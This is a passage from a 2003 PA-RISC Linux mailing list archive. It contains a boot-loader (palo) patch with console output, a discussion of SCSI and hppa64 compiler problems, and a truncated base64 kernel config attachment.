already support hppa64, so patches for glibc and gcc are needed.

	Matthias


From - Thu Nov 08 21:27:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Mon, 2 Jun 2003 19:40:03 +0000 (UTC)
Lines: 171
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306021858520.1237@e0-0.zab2.int.zabbadoz.net>
References: <Pine.BSF.4.53.0306011303040.1237@e0-0.zab2.int.zabbadoz.net>
 <200306011543.59335.deller@gmx.de> <Pine.BSF.4.53.0306011402580.1237@e0-0.zab2.int.zabbadoz.net>
 <20030602181451.GB31212@dsl2.external.hp.com>
 <Pine.BSF.4.53.0306021827240.1237@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622491 26374 80.91.229.3 (22 Nov 2014 02:14:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:51 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: patch@zabbadoz.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  2 13:40:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B1E04829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Jun 2003 13:40:36 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id C28CB1FFE9B; Mon,  2 Jun 2003 21:40:34 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 8F7E21FFBD3; Mon,  2 Jun 2003 21:40:33 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id A2D3A1537F; Mon,  2 Jun 2003 19:40:02 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 97E181532F; Mon,  2 Jun 2003 19:40:03 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <Pine.BSF.4.53.0306021827240.1237@e0-0.zab2.int.zabbadoz.net>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18596

On Mon, 2 Jun 2003, Bjoern A. Zeeb wrote:

> > > When palo cannot open the kernel and errors out shouldn't it fall back
> > > to the dialog and ask one to which fields to change instead of simply
> > > running into a dead end where I think I can only recover from with
> > > physical access to the machine ?
> >
> > The same issue has annoyed me too.
> > But not enough to hack on palo. I only work on machines remotely
> > if I have remote power control (eg A500).
> >
> > Paul Bame is happy to take any patches people have to improve
> > this behaviour.  Source is available via anon CVS:
> > 	cvs -d pserver:anonymous@cvs.parisc-linux.org login
> > 	cvs -d pserver:anonymous@cvs.parisc-linux.org co palo
>
> on sunday eve I already dowloaded 1.2 src tarball and had a quick look
> at it. I may come up with a very dirty quick hack but I really hate
> gotos in C.
>
> The Problem is that I am currently in the middle of my final exams.
> Perhaps I might come up with a patch next weekend.

forget next weekend ;-) Though the machine time is out of sync :(

a) I am no debian package builder but in debian/rules dh_testdir is
unknown - whatever it should do - as are a lotta other things. Seems
some package(?) is missing locally.

b) going to test (press me your thumbs it will work else I will
   have to find a kernel to tftp boot ...) ...
   going back to my old 2.5.60-pa1 instead of 69 typo...
   still old palo on bootup ... maybe installing the new one would be
   better for testing ;-))

c) *hhm* debian/rules build doesn't do make iplboot ? ok, doing and
   installing manually ...

d) re-run palo

e) reboot 'n' pray ... (is this a song ? ;-)

f) Bingo:

--- cut ---
palo ipl 1.2bz01 bz@apollo Mon May 26 04:02:26 UTC 2003

Partition Start(MB) End(MB) Id Type
1               1      30   f0 Palo
2              31     156   82 swap
3             157    2046   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 2955343 bytes @ 0x48000

Command line for kernel: 'root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0 palo_kernel=3/boot/vmlinux-2.5.60-pa1'
Selected kernel: /boot/vmlinux-2.5.60-pa1 from partition 3
ERROR: open /boot/vmlinux-2.5.60-pa1 from partition 3 failed
Current command line:
3/boot/vmlinux-2.5.60-pa1 root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0
 0: 3/boot/vmlinux-2.5.60-pa1
 1: root=/dev/sdb3
 2: HOME=/
 3: TERM=linux
 4: console=ttyS0

Edit which field?
(or 'b' to boot with this command line)? 0
3/boot/vmlinux-2.5.69-pa435
Current command line:
3/boot/vmlinux-2.5.69-pa435 root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0
 0: 3/boot/vmlinux-2.5.69-pa435
 1: root=/dev/sdb3
 2: HOME=/
 3: TERM=linux
 4: console=ttyS0

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: 'root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0 palo_kernel=3/boot/vmlinux-2.5.69-pa435'
Selected kernel: /boot/vmlinux-2.5.69-pa435 from partition 3
ERROR: open /boot/vmlinux-2.5.69-pa435 from partition 3 failed
Current command line:
3/boot/vmlinux-2.5.69-pa435 root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0
 0: 3/boot/vmlinux-2.5.69-pa435
 1: root=/dev/sdb3
 2: HOME=/
 3: TERM=linux
 4: console=ttyS0

Edit which field?
(or 'b' to boot with this command line)? 0
3/boot/vmlinux-2.5.69-pa1
Current command line:
3/boot/vmlinux-2.5.69-pa1 root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0
 0: 3/boot/vmlinux-2.5.69-pa1
 1: root=/dev/sdb3
 2: HOME=/
 3: TERM=linux
 4: console=ttyS0

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: 'root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0 palo_kernel=3/boot/vmlinux-2.5.69-pa1'
Selected kernel: /boot/vmlinux-2.5.69-pa1 from partition 3
ELF32 executable
Entry 001002a0 first 00100000 n 3
Segment 0 load 00100000 size 1688080 mediaptr 0x1000
Segment 1 load 0029e000 size 307316 mediaptr 0x19e000
Segment 2 load 002ec000 size 438400 mediaptr 0x1ea000
...
--- /cut ---


g) here is the patch. Thanks I remember basic for the goto ;-)
peherhaps ignore the part with the version number ...


--- ./ipl/ipl.c.orig	2003-01-14 19:44:49.000000000 +0000
+++ ./ipl/ipl.c	2003-05-26 03:34:03.000000000 +0000
@@ -367,6 +367,7 @@
 	}
     }

+interactive_loop:
     if (is_interactive)
 	interact(&f);

@@ -510,7 +511,9 @@
 	    (partition[kern_part - 1].id != 0x83 && partition[kern_part - 1].id != 0xfd) )
 	{
 	    printf("ERROR: Partition %d must be ext2\n", kern_part);
-	    while(1);
+
+	    is_interactive = 1;
+	    goto interactive_loop;
 	}

 	pp = &partition[kern_part - 1];
@@ -527,7 +530,9 @@
 	{
 	    printf("ERROR: open %s from partition %d failed\n",
 		kern_name, kern_part);
-	    while(1);
+
+	    is_interactive = 1;
+	    goto interactive_loop;
 	}

 	bkern_fd = byteio_open(kern_fd);
--- ./lib/common.h.orig	2003-05-26 03:34:11.000000000 +0000
+++ ./lib/common.h	2003-05-26 03:34:18.000000000 +0000
@@ -11,7 +11,7 @@
 #include <asm/byteorder.h>
 #include <linux/genhd.h>

-#define PALOVERSION "1.2"
+#define PALOVERSION "1.2bz01"

 /* size of I/O block used in HP firmware */
 #define FW_BLOCKSIZE	2048


-- 
Greetings

Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:27:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Mon, 2 Jun 2003 21:20:06 +0100 (IST)
Lines: 976
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0306022044001.1415-300000@sal.ucc.ie>
References: <3ED70CF100000B3C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-275789367-1590063830-1054585206=:1415"
X-Trace: ger.gmane.org 1416622492 26380 80.91.229.3 (22 Nov 2014 02:14:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  2 14:20:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id D13D74829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Jun 2003 14:20:12 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h52JmoR05358;
	Mon, 2 Jun 2003 20:48:50 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3ED70CF100000B3C@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18597

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---275789367-1590063830-1054585206=:1415
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 2 Jun 2003, Joel Soete wrote:

> > I have/had this prolems with both (old/new) Symbios drivers!
>
> Curious, last v2 I do not have any more pb (neither on b180 or b2k, N).
> (that doesn't mean that I don't trust you; just share info)

trust me! ;)

I always tried the newest kernels and SYM2 in hope it will solve my
problem!

I didn't have problems with the UW-SCSI that was originally in the HP - as
far as I can remember - these problems just show up with this
'replacement' SE-SCSI Segate Harddisk.

> I just install a 36Gb lvd disk on my b2k (ST336704LC HP supply) on the built
> in scsi-controler which is of model <895a>(,rev 0x1) and all seems to works
> fine.

Yeah, I also think there is no problem with LVD, it's just appears to
happens with the SE-SCSI bus and this hard disk (and the hard disk seems
to be fine if connected to other computers).

[... you describe your SCSI problems ...]

> Hmm to say everything: the converter came from a internal UW-disk of a
> k360, the cable and its terminator from a D380 and nothing was foreseen
> for new lvd :(.
> (but that was just a do-it-yourself test because no shop of scsi spare part
> near home :O )

the same here. The only way to get SCSI stuff are online-shops :(

> > > hppa64-gcc (3.2.3, from ftp.p-l.org unofficial-debs)
> > >  seems to work fine but obviously ipt_limit.o is miscompiled:
> > >  I can insmod it, but iptable wouldn't recognize the --limit* options.
> > >  There are still some problems with some modules and canonicalize_funcptr,

[... and then a small correction ...]

> I thought so. The canonicalize_* stuff showed up when compiling with
> gcc-3.3 (I forgot this to mention), but I thought they showed up in
> 3.2 (64bit). Maybe I just can't remeber this one correctly.
> But the iptable_limit error is definitey a hppa64-gcc-3.2.3 issue
> (or a kernel issue with hppa64 ;)
>
> Well gcc-hppa64 pkg is a bit out dated but that is all is available.
> And I do not found courage to toolchain the last gcc-3.3 :(

[... some stuff about wrong Bogomips value & gcc-3.3 ]

> Sorry could not help (no clue of what bogomips is: just see on my i386 but
> no trace in my hppa dmesg?)

try 'cat /proc/cpuinfo'.

It's an measurement for internal use in the kernel, it's not meant to be
a performance benchmark or so (it's value is dependend on the CPU arch,
you can't even compare bogomips between AMD and Intel processors).
However many people misue it as a performance indicator.

On PC with Intel or PA-RISC CPUs the bogomips value is usually something
like "2x (CPU MHz)", on other architectures it might be different.

There is also a userspace programme available called 'bogomips' that
does the same thing, but might produce slightly lower values (since you
are running it while multitasking and not at bootup time in kernel space)

Max


PS: attached is my .config

---275789367-1590063830-1054585206=:1415
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="config-2.4.20-pa35-gcc-3.3"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0306022120060.1415@sal.ucc.ie>
Content-Description: gcc-3.3 and 32bit 2.4.20-pa35
Content-Disposition: attachment; filename="config-2.4.20-pa35-gcc-3.3"

Iw0KIyBBdXRvbWF0aWNhbGx5IGdlbmVyYXRlZCBieSBtYWtlIG1lbnVjb25m
aWc6IGRvbid0IGVkaXQNCiMNCkNPTkZJR19QQVJJU0M9eQ0KIyBDT05GSUdf
VUlEMTYgaXMgbm90IHNldA0KQ09ORklHX1JXU0VNX0dFTkVSSUNfU1BJTkxP
Q0s9eQ0KIyBDT05GSUdfUldTRU1fWENIR0FERF9BTEdPUklUSE0gaXMgbm90
IHNldA0KDQojDQojIENvZGUgbWF0dXJpdHkgbGV2ZWwgb3B0aW9ucw0KIw0K
Q09ORklHX0VYUEVSSU1FTlRBTD15DQoNCiMNCiMgTG9hZGFibGUgbW9kdWxl
IHN1cHBvcnQNCiMNCkNPTkZJR19NT0RVTEVTPXkNCkNPTkZJR19NT0RWRVJT
SU9OUz15DQpDT05GSUdfS01PRD15DQoNCiMNCiMgUHJvY2Vzc29yIHR5cGUN
CiMNCiMgQ09ORklHX1BBNzEwMCBpcyBub3Qgc2V0DQojIENPTkZJR19QQTcy
MDAgaXMgbm90IHNldA0KIyBDT05GSUdfUEE3MTAwTEMgaXMgbm90IHNldA0K
Q09ORklHX1BBOFgwMD15DQpDT05GSUdfUEEyMD15DQojIENPTkZJR19QQVJJ
U0M2NCBpcyBub3Qgc2V0DQojIENPTkZJR19QRENfTkFSUk9XIGlzIG5vdCBz
ZXQNCg0KIw0KIyBHZW5lcmFsIG9wdGlvbnMNCiMNCiMgQ09ORklHX1NNUCBp
cyBub3Qgc2V0DQpDT05GSUdfQ0hBU1NJU19MQ0RfTEVEPXkNCkNPTkZJR19J
T01NVV9DQ0lPPXkNCkNPTkZJR19HU0M9eQ0KQ09ORklHX0dTQ19MQVNJPXkN
CiMgQ09ORklHX0dTQ19XQVggaXMgbm90IHNldA0KIyBDT05GSUdfRUlTQSBp
cyBub3Qgc2V0DQojIENPTkZJR19JU0EgaXMgbm90IHNldA0KQ09ORklHX1BD
ST15DQpDT05GSUdfR1NDX0RJTk89eQ0KQ09ORklHX1BDSV9MQkE9eQ0KQ09O
RklHX0lPU0FQSUM9eQ0KQ09ORklHX0lPTU1VX1NCQT15DQpDT05GSUdfU1VQ
RVJJTz15DQpDT05GSUdfUENJX05BTUVTPXkNCg0KIw0KIyBHZW5lcmFsIHNl
dHVwDQojDQpDT05GSUdfSE9UUExVRz15DQpDT05GSUdfTkVUPXkNCkNPTkZJ
R19IT1RQTFVHPXkNCg0KIw0KIyBQQ01DSUEvQ2FyZEJ1cyBzdXBwb3J0DQoj
DQpDT05GSUdfUENNQ0lBPXkNCiMgQ09ORklHX0NBUkRCVVMgaXMgbm90IHNl
dA0KIyBDT05GSUdfVENJQyBpcyBub3Qgc2V0DQojIENPTkZJR19JODIwOTIg
aXMgbm90IHNldA0KIyBDT05GSUdfSTgyMzY1IGlzIG5vdCBzZXQNCg0KIw0K
IyBQQ0kgSG90cGx1ZyBTdXBwb3J0DQojDQojIENPTkZJR19IT1RQTFVHX1BD
SSBpcyBub3Qgc2V0DQojIENPTkZJR19IT1RQTFVHX1BDSV9DT01QQVEgaXMg
bm90IHNldA0KIyBDT05GSUdfSE9UUExVR19QQ0lfQ09NUEFRX05WUkFNIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0hPVFBMVUdfUENJX0FDUEkgaXMgbm90IHNl
dA0KQ09ORklHX1NZU1ZJUEM9eQ0KIyBDT05GSUdfQlNEX1BST0NFU1NfQUND
VCBpcyBub3Qgc2V0DQpDT05GSUdfU1lTQ1RMPXkNCkNPTkZJR19LQ09SRV9F
TEY9eQ0KQ09ORklHX0JJTkZNVF9FTEY9eQ0KQ09ORklHX0JJTkZNVF9TT009
bQ0KQ09ORklHX0JJTkZNVF9NSVNDPW0NCiMgQ09ORklHX1BNIGlzIG5vdCBz
ZXQNCg0KIw0KIyBQYXJhbGxlbCBwb3J0IHN1cHBvcnQNCiMNCkNPTkZJR19Q
QVJQT1JUPXkNCkNPTkZJR19QQVJQT1JUX1BDPXkNCkNPTkZJR19QQVJQT1JU
X1BDX0NNTDE9eQ0KIyBDT05GSUdfUEFSUE9SVF9TRVJJQUwgaXMgbm90IHNl
dA0KIyBDT05GSUdfUEFSUE9SVF9QQ19GSUZPIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1BBUlBPUlRfUENfU1VQRVJJTyBpcyBub3Qgc2V0DQojIENPTkZJR19Q
QVJQT1JUX1BDX1BDTUNJQSBpcyBub3Qgc2V0DQojIENPTkZJR19QQVJQT1JU
X0FNSUdBIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BBUlBPUlRfTUZDMyBpcyBu
b3Qgc2V0DQojIENPTkZJR19QQVJQT1JUX0FUQVJJIGlzIG5vdCBzZXQNCkNP
TkZJR19QQVJQT1JUX0dTQz15DQojIENPTkZJR19QQVJQT1JUX1NVTkJQUCBp
cyBub3Qgc2V0DQojIENPTkZJR19QQVJQT1JUX09USEVSIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1BBUlBPUlRfMTI4NCBpcyBub3Qgc2V0DQoNCiMNCiMgQmxv
Y2sgZGV2aWNlcw0KIw0KIyBDT05GSUdfQkxLX0RFVl9GRCBpcyBub3Qgc2V0
DQojIENPTkZJR19CTEtfREVWX1hEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BB
UklERSBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfQ1BRX0RBIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0JMS19DUFFfQ0lTU19EQSBpcyBub3Qgc2V0DQojIENP
TkZJR19DSVNTX1NDU0lfVEFQRSBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtf
REVWX0RBQzk2MCBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX1VNRU0g
aXMgbm90IHNldA0KQ09ORklHX0JMS19ERVZfTE9PUD15DQpDT05GSUdfQkxL
X0RFVl9OQkQ9bQ0KQ09ORklHX0JMS19ERVZfUkFNPW0NCkNPTkZJR19CTEtf
REVWX1JBTV9TSVpFPTQwOTYNCiMgQ09ORklHX0JMS19ERVZfSU5JVFJEIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0JMS19TVEFUUyBpcyBub3Qgc2V0DQoNCiMN
CiMgTXVsdGktZGV2aWNlIHN1cHBvcnQgKFJBSUQgYW5kIExWTSkNCiMNCiMg
Q09ORklHX01EIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfTUQgaXMg
bm90IHNldA0KIyBDT05GSUdfTURfTElORUFSIGlzIG5vdCBzZXQNCiMgQ09O
RklHX01EX1JBSUQwIGlzIG5vdCBzZXQNCiMgQ09ORklHX01EX1JBSUQxIGlz
IG5vdCBzZXQNCiMgQ09ORklHX01EX1JBSUQ1IGlzIG5vdCBzZXQNCiMgQ09O
RklHX01EX01VTFRJUEFUSCBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVW
X0xWTSBpcyBub3Qgc2V0DQoNCiMNCiMgTmV0d29ya2luZyBvcHRpb25zDQoj
DQpDT05GSUdfUEFDS0VUPXkNCkNPTkZJR19QQUNLRVRfTU1BUD15DQpDT05G
SUdfTkVUTElOS19ERVY9eQ0KQ09ORklHX05FVEZJTFRFUj15DQojIENPTkZJ
R19ORVRGSUxURVJfREVCVUcgaXMgbm90IHNldA0KQ09ORklHX0ZJTFRFUj15
DQpDT05GSUdfVU5JWD15DQpDT05GSUdfSU5FVD15DQpDT05GSUdfSVBfTVVM
VElDQVNUPXkNCiMgQ09ORklHX0lQX0FEVkFOQ0VEX1JPVVRFUiBpcyBub3Qg
c2V0DQojIENPTkZJR19JUF9QTlAgaXMgbm90IHNldA0KQ09ORklHX05FVF9J
UElQPW0NCkNPTkZJR19ORVRfSVBHUkU9bQ0KQ09ORklHX05FVF9JUEdSRV9C
Uk9BRENBU1Q9eQ0KQ09ORklHX0lQX01ST1VURT15DQpDT05GSUdfSVBfUElN
U01fVjE9eQ0KQ09ORklHX0lQX1BJTVNNX1YyPXkNCiMgQ09ORklHX0FSUEQg
aXMgbm90IHNldA0KQ09ORklHX0lORVRfRUNOPXkNCkNPTkZJR19TWU5fQ09P
S0lFUz15DQoNCiMNCiMgICBJUDogTmV0ZmlsdGVyIENvbmZpZ3VyYXRpb24N
CiMNCkNPTkZJR19JUF9ORl9DT05OVFJBQ0s9bQ0KQ09ORklHX0lQX05GX0ZU
UD1tDQpDT05GSUdfSVBfTkZfSVJDPW0NCkNPTkZJR19JUF9ORl9RVUVVRT1t
DQpDT05GSUdfSVBfTkZfSVBUQUJMRVM9bQ0KQ09ORklHX0lQX05GX01BVENI
X0xJTUlUPW0NCkNPTkZJR19JUF9ORl9NQVRDSF9NQUM9bQ0KQ09ORklHX0lQ
X05GX01BVENIX1BLVFRZUEU9bQ0KQ09ORklHX0lQX05GX01BVENIX01BUks9
bQ0KQ09ORklHX0lQX05GX01BVENIX01VTFRJUE9SVD1tDQpDT05GSUdfSVBf
TkZfTUFUQ0hfVE9TPW0NCkNPTkZJR19JUF9ORl9NQVRDSF9FQ049bQ0KQ09O
RklHX0lQX05GX01BVENIX0RTQ1A9bQ0KQ09ORklHX0lQX05GX01BVENIX0FI
X0VTUD1tDQpDT05GSUdfSVBfTkZfTUFUQ0hfTEVOR1RIPW0NCkNPTkZJR19J
UF9ORl9NQVRDSF9UVEw9bQ0KQ09ORklHX0lQX05GX01BVENIX1RDUE1TUz1t
DQpDT05GSUdfSVBfTkZfTUFUQ0hfSEVMUEVSPW0NCkNPTkZJR19JUF9ORl9N
QVRDSF9TVEFURT1tDQpDT05GSUdfSVBfTkZfTUFUQ0hfQ09OTlRSQUNLPW0N
CkNPTkZJR19JUF9ORl9NQVRDSF9VTkNMRUFOPW0NCkNPTkZJR19JUF9ORl9N
QVRDSF9PV05FUj1tDQpDT05GSUdfSVBfTkZfRklMVEVSPW0NCkNPTkZJR19J
UF9ORl9UQVJHRVRfUkVKRUNUPW0NCkNPTkZJR19JUF9ORl9UQVJHRVRfTUlS
Uk9SPW0NCkNPTkZJR19JUF9ORl9OQVQ9bQ0KQ09ORklHX0lQX05GX05BVF9O
RUVERUQ9eQ0KQ09ORklHX0lQX05GX1RBUkdFVF9NQVNRVUVSQURFPW0NCkNP
TkZJR19JUF9ORl9UQVJHRVRfUkVESVJFQ1Q9bQ0KQ09ORklHX0lQX05GX05B
VF9MT0NBTD15DQpDT05GSUdfSVBfTkZfTkFUX1NOTVBfQkFTSUM9bQ0KQ09O
RklHX0lQX05GX05BVF9JUkM9bQ0KQ09ORklHX0lQX05GX05BVF9GVFA9bQ0K
Q09ORklHX0lQX05GX01BTkdMRT1tDQpDT05GSUdfSVBfTkZfVEFSR0VUX1RP
Uz1tDQpDT05GSUdfSVBfTkZfVEFSR0VUX0VDTj1tDQpDT05GSUdfSVBfTkZf
VEFSR0VUX0RTQ1A9bQ0KQ09ORklHX0lQX05GX1RBUkdFVF9NQVJLPW0NCkNP
TkZJR19JUF9ORl9UQVJHRVRfTE9HPW0NCkNPTkZJR19JUF9ORl9UQVJHRVRf
VUxPRz1tDQpDT05GSUdfSVBfTkZfVEFSR0VUX1RDUE1TUz1tDQpDT05GSUdf
SVBfTkZfQVJQVEFCTEVTPW0NCkNPTkZJR19JUF9ORl9BUlBGSUxURVI9bQ0K
Q09ORklHX0lQX05GX0NPTVBBVF9JUENIQUlOUz1tDQpDT05GSUdfSVBfTkZf
TkFUX05FRURFRD15DQpDT05GSUdfSVBfTkZfQ09NUEFUX0lQRldBRE09bQ0K
Q09ORklHX0lQX05GX05BVF9ORUVERUQ9eQ0KQ09ORklHX0lQVjY9bQ0KDQoj
DQojICAgSVB2NjogTmV0ZmlsdGVyIENvbmZpZ3VyYXRpb24NCiMNCkNPTkZJ
R19JUDZfTkZfUVVFVUU9bQ0KQ09ORklHX0lQNl9ORl9JUFRBQkxFUz1tDQpD
T05GSUdfSVA2X05GX01BVENIX0xJTUlUPW0NCkNPTkZJR19JUDZfTkZfTUFU
Q0hfTUFDPW0NCkNPTkZJR19JUDZfTkZfTUFUQ0hfTVVMVElQT1JUPW0NCkNP
TkZJR19JUDZfTkZfTUFUQ0hfT1dORVI9bQ0KQ09ORklHX0lQNl9ORl9NQVRD
SF9NQVJLPW0NCkNPTkZJR19JUDZfTkZfTUFUQ0hfTEVOR1RIPW0NCkNPTkZJ
R19JUDZfTkZfTUFUQ0hfRVVJNjQ9bQ0KQ09ORklHX0lQNl9ORl9GSUxURVI9
bQ0KQ09ORklHX0lQNl9ORl9UQVJHRVRfTE9HPW0NCkNPTkZJR19JUDZfTkZf
TUFOR0xFPW0NCkNPTkZJR19JUDZfTkZfVEFSR0VUX01BUks9bQ0KIyBDT05G
SUdfS0hUVFBEIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FUTSBpcyBub3Qgc2V0
DQpDT05GSUdfVkxBTl84MDIxUT1tDQpDT05GSUdfSVBYPW0NCkNPTkZJR19J
UFhfSU5URVJOPXkNCiMgQ09ORklHX0FUQUxLIGlzIG5vdCBzZXQNCg0KIw0K
IyBBcHBsZXRhbGsgZGV2aWNlcw0KIw0KIyBDT05GSUdfREVWX0FQUExFVEFM
SyBpcyBub3Qgc2V0DQojIENPTkZJR19ERUNORVQgaXMgbm90IHNldA0KQ09O
RklHX0JSSURHRT15DQojIENPTkZJR19YMjUgaXMgbm90IHNldA0KIyBDT05G
SUdfTEFQQiBpcyBub3Qgc2V0DQojIENPTkZJR19MTEMgaXMgbm90IHNldA0K
Q09ORklHX05FVF9ESVZFUlQ9eQ0KIyBDT05GSUdfRUNPTkVUIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1dBTl9ST1VURVIgaXMgbm90IHNldA0KIyBDT05GSUdf
TkVUX0ZBU1RST1VURSBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfSFdfRkxP
V0NPTlRST0wgaXMgbm90IHNldA0KDQojDQojIFFvUyBhbmQvb3IgZmFpciBx
dWV1ZWluZw0KIw0KIyBDT05GSUdfTkVUX1NDSEVEIGlzIG5vdCBzZXQNCg0K
Iw0KIyBOZXR3b3JrIHRlc3RpbmcNCiMNCiMgQ09ORklHX05FVF9QS1RHRU4g
aXMgbm90IHNldA0KDQojDQojIEFUQS9JREUvTUZNL1JMTCBzdXBwb3J0DQoj
DQojIENPTkZJR19JREUgaXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9J
REVfTU9ERVMgaXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9IRCBpcyBu
b3Qgc2V0DQoNCiMNCiMgU0NTSSBzdXBwb3J0DQojDQpDT05GSUdfU0NTST15
DQpDT05GSUdfQkxLX0RFVl9TRD15DQpDT05GSUdfU0RfRVhUUkFfREVWUz00
MA0KQ09ORklHX0NIUl9ERVZfU1Q9bQ0KIyBDT05GSUdfQ0hSX0RFVl9PU1NU
IGlzIG5vdCBzZXQNCkNPTkZJR19CTEtfREVWX1NSPW0NCkNPTkZJR19CTEtf
REVWX1NSX1ZFTkRPUj15DQpDT05GSUdfU1JfRVhUUkFfREVWUz0yDQpDT05G
SUdfQ0hSX0RFVl9TRz15DQojIENPTkZJR19TQ1NJX0RFQlVHX1FVRVVFUyBp
cyBub3Qgc2V0DQpDT05GSUdfU0NTSV9NVUxUSV9MVU49eQ0KIyBDT05GSUdf
